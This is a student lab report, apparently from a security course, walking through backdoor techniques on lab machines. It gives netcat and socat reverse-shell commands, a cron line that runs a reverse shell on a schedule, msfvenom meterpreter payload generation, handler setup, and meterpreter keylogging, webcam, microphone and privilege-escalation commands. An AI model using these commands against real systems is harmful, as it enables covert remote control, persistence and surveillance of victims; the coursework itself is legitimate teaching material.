Exp2 后门原理与实践 ——20164316张子遥-程序员宅基地

技术标签: shell  运维  操作系统  

一、实践基本内容

1.实践目标

(1)使用netcat获取主机操作Shell,cron启动 

(2)使用socat获取主机操作Shell, 任务计划启动 

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实践前期准备

在实践前期先熟悉一下ncat的使用,使用前确定Linux和Windows都安装好了ncat。

Windows中命令行中输入指令 ipconfig 查看本机ip

Linux终端中输入指令 ifconfig 查看ip地址

可以确定Windows的ip为 192.168.1.102 ;Linux的ip为 192.168.192.128 

2.1使用ncat,本机(Windows)获得虚拟机(Linux)操作shell

步骤1:win中使用ncat监听4316端口: ncat.exe -l -p 4316 

步骤2:在Linux输入指令  nc 192.168.1.102 4316 -e /bin/sh  反弹连接Windows主机的 4316 端口(指令中的ip地址需为Windows ip)

结果:本机(Windows)成功获得虚拟机(Linux)操作shell,能够进行操作。

此时本机(Windows)为攻击者,虚拟机(Linux)为靶机也就是被攻击者。

2.2使用ncat,虚拟机(Linux)获得本机(Windows)操作shell(大体步骤与上述类似)

步骤1:在Linux中监听4316端口:nc -l -p 4316

步骤2:在Windows输入指令 ncat.exe  -e cmd.exe 192.168.192.128 4316 反弹连接Linux的4316端口(指令中的ip地址需为Linux ip)

结果:虚拟机(Linux)成功获得本机(Windows)操作shell,能够执行Windows中的命令。

此时本机(Windows)为靶机,虚拟机(Linux)也就是攻击者。

 


 

 

二、实践具体步骤

目标一:使用netcat获取主机操作Shell,cron启动 

cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

crontab文件的含义:

用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command

实践参考:Linux定时任务Crontab命令详解

具体步骤:

1.用 crontab -e 指令编辑定时任务,选择3,也就是基本的vim编辑器

2.vim编辑器中用  i  改为插入模式,在最后一行插入 00 21 20 3 * /bin/netcat 192.168.1.102 4316 -e /bin/sh   后输入 :wq! 保存并退出,上述指令表示在3月20号的晚上九点(21:00)反向连接Windows本机的4316端口,就会启动cron

3.在21:00之前输入 ls 指令,屏幕上并无显示,当时间到了21:00时,此时已经获得了shell,指令所得内容则显示了出来

 

目标二:使用socat获取主机操作Shell, 任务计划启动  

实践参考:socat使用笔记

socatncat的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

实践前在Windows安装好socat。

具体步骤:

1.win中打开控制面板,选中管理工具->任务计划程序

 

2.创建新任务,填写任务名称,新建一个触发器。

3.同时创建新操作,在操作->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4316 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口4316,同时把cmd.exestderr重定向到stdout

4.按快捷键win+L即能锁定计算机,创建的任务开始运行。

此时在Linux中输入指令 socat - tcp:192.168.1.102:4316 ,发现成功获得了cmd shell,能够输入Windows的命令

目标三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

P.S.由于重新开机,此时Windows的ip地址变更为192.168.43.137,Linux虚拟机ip地址变更为192.168.192.129.

具体步骤:

1.Linux中输入指令生成后门程序(因为靶机系统为win10的64位故在指令中参数加上x64)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f exe > 20164316.exe

 

2.使用ncat传输已经生成的20164316.exe程序文件。(通过2222端口)

i)在win中输入: ncat.exe -lv 2222 > 4316.exe 监听并接受后门程序;

ii)在Linux中输入: nc 192.168.43.137 2222 < 20164316.exe 向win传输后门程序。

 

 3.在Linux中输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置

use exploit/multi/handler    /*进入handler模式*/

set payload windows/x64/meterpreter/reverse_tcp  /*对应生成的后门程序设置payload*/

show options  /*查看当前信息状态*/

set LHOST 192.168.192.129  /*设置LHOST,其中ip为Linux的ip*/

set LPORT 4316 /*设置LPORT*/

exploit /*启动监听*/

 

启动监听后再在win中运行后门程序,此时Linux上已经获得了Windows主机的连接,并且得到了远程控制的shell,能够输入Windows中的命令。

 

目标四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

实践参考:获取shell之后进一步利用

具体步骤:

record_mic//该指令可以截获音频

webcam_snap//该指令可以使用摄像头进行拍照

screenshot//该指令可以进行截屏

keyscan_start//输入该指令开始记录下击键的过程

keyscan_dump//输入该指令读取击键的记录

 

P.S.由于本机Windows缺少摄像头驱动,所以摄像头进行拍照不能进行,webcam_snap等命令会回复缺少摄像头设备

 getuid 指令查看当前用户,使用 getsystem 指令进行提权,如图未提权成功。

在win中重新尝试以管理员身份运行后门程序后再进入msf命令行中进行提权,使用 getsystem 指令提权成功

目标五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

实践参考:使用MSF生成shellcode

在完成该目标时,直接在两台虚拟机Linux之间进行,大致步骤与目标三相同,要点在于shellcode的生成。

具体步骤:

1.利用指令 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -x /root/Desktop/20164316zzy -f elf > 20164316zzy_2  生成以20164316zzy为模板这个elf文件格式的shellcode文件20164316zzy_2 

(由靶机为Linux且20164316zzy这个文件是32位的来确定参数)

 2.输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置

use exploit/multi/handler    /*进入handler模式*/

set payload linux/x86/meterpreter/reverse_tcp  /*对应生成的后门程序设置payload*/

show options  /*查看当前信息状态*/

set LHOST 192.168.192.129  /*设置LHOST,其中ip为攻击者Linux的ip*/

set LPORT 4316 /*设置LPORT*/

exploit /*启动监听*/

 

 

3.msf中启动监听,在被攻击者Linux中  ./20164316zzy_2 运行程序,此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell

 

 

失败尝试:实验中要求生成shellcode然后注入pwn可执行文件,但由于未知原因...并没有成功

具体步骤:

1.利用msf生成shellcode(要注意生成的shellcode中不能含有\x00\x0a\,可手动删除或参数设置)

这里可以直接在msf命令行中生成,也可用msfvenom指令来进行生成。(我在前后进行了两种生成方式)

2.利用实验一的知识,将生成的shellcode注入到可执行文件中。

 (要记得利用gdb调试工具来确定注入地址来覆盖esp寄存器)

3.最后两种shellcode的注入都只是得到了段错误的结果...

 同时我也采用了msf监听模式,在另一台Linux虚拟机中运行可执行文件后,msf中并没有显示有监听到任何连接...(这里忘了截图)

在网上查询有关段错误的反应大都是因为shellcode保存在内存的.data数据段是不能被执行的。

但是在步骤2注入之前都对可执行文件进行了实验一预设条件的执行,关闭了堆栈保护等。

由于自身知识的缺乏,也不能确定第一步的shellcode生成语句是否正确,所以暂时不能清楚实验失败 的原因。

 

 

 


 

三、实践所遇问题与解决

1.目标三中运行了后门程序(在任务管理器中也能看到),但是msf监听这边没有反应。

问题原因及解决:生成后门程序的语句为 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f exe > 20164316.exe  ,加上了参数x64,但是在msf的设置payload中,指令 set payload windows/meterpreter/reverse_tcp  未加上x64,是msf存在的共性问题,导致无法监听到后门程序的运行;加上参数后即能连接Windows获取shell,成功结果截图见目标三。

 


 

 

四、实践问题回答与收获

基础问题回答:

  (1)例举你能想到的一个后门进入到你系统中的可能方式?

  答:后门程序可能与我下载的某些盗版软件捆绑下载,从而下载到我的电脑。

  (2)例举你知道的后门如何启动起来(win及linux)的方式?

  答:win中后门可能与某些软件捆绑运行达到启动的目的;

             Linux中通过设置corn定时启动后门程序。

  (3)Meterpreter有哪些给你映像深刻的功能?

  答:能够获得摄像头权限和键盘使用权限并且能够监视键盘键入!让我意识到一旦被攻击,是非常恐怖的....

  (4)如何发现自己有系统有没有被安装后门?

  答:稍微低级一点的,例如360安全软件和防火墙,我在做实验时起初就因为没有关掉360杀毒软件导致后门程序一被传输过来就被杀死了。更加仔细一点的话,可以通过查看进程和利用一些抓包工具来进行分析。(前提是后门程序启动了)

 

实践收获

  此次实践让我熟悉了后门程序的生成,以及ncat、socat的使用,更让人认识到了后门的危害...而我们学习如何攻击的同时,也应该了解如何防范。在实践中,也多次查询各种资料来完成,这种解决问题的方式,让人学习得更深刻和透彻。

转载于:https://www.cnblogs.com/talank/p/10577067.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_30652879/article/details/99363013

智能推荐

while循环&CPU占用率高问题深入分析与解决方案_main函数使用while(1)循环cpu占用99-程序员宅基地

文章浏览阅读3.8k次,点赞9次,收藏28次。直接上一个工作中碰到的问题,另外一个系统开启多线程调用我这边的接口,然后我这边会开启多线程批量查询第三方接口并且返回给调用方。使用的是两三年前别人遗留下来的方法,放到线上后发现确实是可以正常取到结果,但是一旦调用,CPU占用就直接100%(部署环境是win server服务器)。因此查看了下相关的老代码并使用JProfiler查看发现是在某个while循环的时候有问题。具体项目代码就不贴了,类似于下面这段代码。​​​​​​while(flag) {//your code;}这里的flag._main函数使用while(1)循环cpu占用99

【无标题】jetbrains idea shift f6不生效_idea shift +f6快捷键不生效-程序员宅基地

文章浏览阅读347次。idea shift f6 快捷键无效_idea shift +f6快捷键不生效

node.js学习笔记之Node中的核心模块_node模块中有很多核心模块,以下不属于核心模块,使用时需下载的是-程序员宅基地

文章浏览阅读135次。Ecmacript 中没有DOM 和 BOM核心模块Node为JavaScript提供了很多服务器级别,这些API绝大多数都被包装到了一个具名和核心模块中了,例如文件操作的 fs 核心模块 ,http服务构建的http 模块 path 路径操作模块 os 操作系统信息模块// 用来获取机器信息的var os = require('os')// 用来操作路径的var path = require('path')// 获取当前机器的 CPU 信息console.log(os.cpus._node模块中有很多核心模块,以下不属于核心模块,使用时需下载的是

数学建模【SPSS 下载-安装、方差分析与回归分析的SPSS实现(软件概述、方差分析、回归分析)】_化工数学模型数据回归软件-程序员宅基地

文章浏览阅读10w+次,点赞435次,收藏3.4k次。SPSS 22 下载安装过程7.6 方差分析与回归分析的SPSS实现7.6.1 SPSS软件概述1 SPSS版本与安装2 SPSS界面3 SPSS特点4 SPSS数据7.6.2 SPSS与方差分析1 单因素方差分析2 双因素方差分析7.6.3 SPSS与回归分析SPSS回归分析过程牙膏价格问题的回归分析_化工数学模型数据回归软件

利用hutool实现邮件发送功能_hutool发送邮件-程序员宅基地

文章浏览阅读7.5k次。如何利用hutool工具包实现邮件发送功能呢?1、首先引入hutool依赖<dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.7.19</version></dependency>2、编写邮件发送工具类package com.pc.c..._hutool发送邮件

docker安装elasticsearch,elasticsearch-head,kibana,ik分词器_docker安装kibana连接elasticsearch并且elasticsearch有密码-程序员宅基地

文章浏览阅读867次,点赞2次,收藏2次。docker安装elasticsearch,elasticsearch-head,kibana,ik分词器安装方式基本有两种,一种是pull的方式,一种是Dockerfile的方式,由于pull的方式pull下来后还需配置许多东西且不便于复用,个人比较喜欢使用Dockerfile的方式所有docker支持的镜像基本都在https://hub.docker.com/docker的官网上能找到合..._docker安装kibana连接elasticsearch并且elasticsearch有密码

随便推点

Python 攻克移动开发失败!_beeware-程序员宅基地

文章浏览阅读1.3w次,点赞57次,收藏92次。整理 | 郑丽媛出品 | CSDN(ID:CSDNnews)近年来,随着机器学习的兴起,有一门编程语言逐渐变得火热——Python。得益于其针对机器学习提供了大量开源框架和第三方模块,内置..._beeware

Swift4.0_Timer 的基本使用_swift timer 暂停-程序员宅基地

文章浏览阅读7.9k次。//// ViewController.swift// Day_10_Timer//// Created by dongqiangfei on 2018/10/15.// Copyright 2018年 飞飞. All rights reserved.//import UIKitclass ViewController: UIViewController { ..._swift timer 暂停

元素三大等待-程序员宅基地

文章浏览阅读986次,点赞2次,收藏2次。1.硬性等待让当前线程暂停执行,应用场景:代码执行速度太快了,但是UI元素没有立马加载出来,造成两者不同步,这时候就可以让代码等待一下,再去执行找元素的动作线程休眠,强制等待 Thread.sleep(long mills)package com.example.demo;import org.junit.jupiter.api.Test;import org.openqa.selenium.By;import org.openqa.selenium.firefox.Firefox.._元素三大等待

Java软件工程师职位分析_java岗位分析-程序员宅基地

文章浏览阅读3k次,点赞4次,收藏14次。Java软件工程师职位分析_java岗位分析

Java:Unreachable code的解决方法_java unreachable code-程序员宅基地

文章浏览阅读2k次。Java:Unreachable code的解决方法_java unreachable code

标签data-*自定义属性值和根据data属性值查找对应标签_如何根据data-*属性获取对应的标签对象-程序员宅基地

文章浏览阅读1w次。1、html中设置标签data-*的值 标题 11111 222222、点击获取当前标签的data-url的值$('dd').on('click', function() { var urlVal = $(this).data('ur_如何根据data-*属性获取对应的标签对象

推荐文章

热门文章

相关标签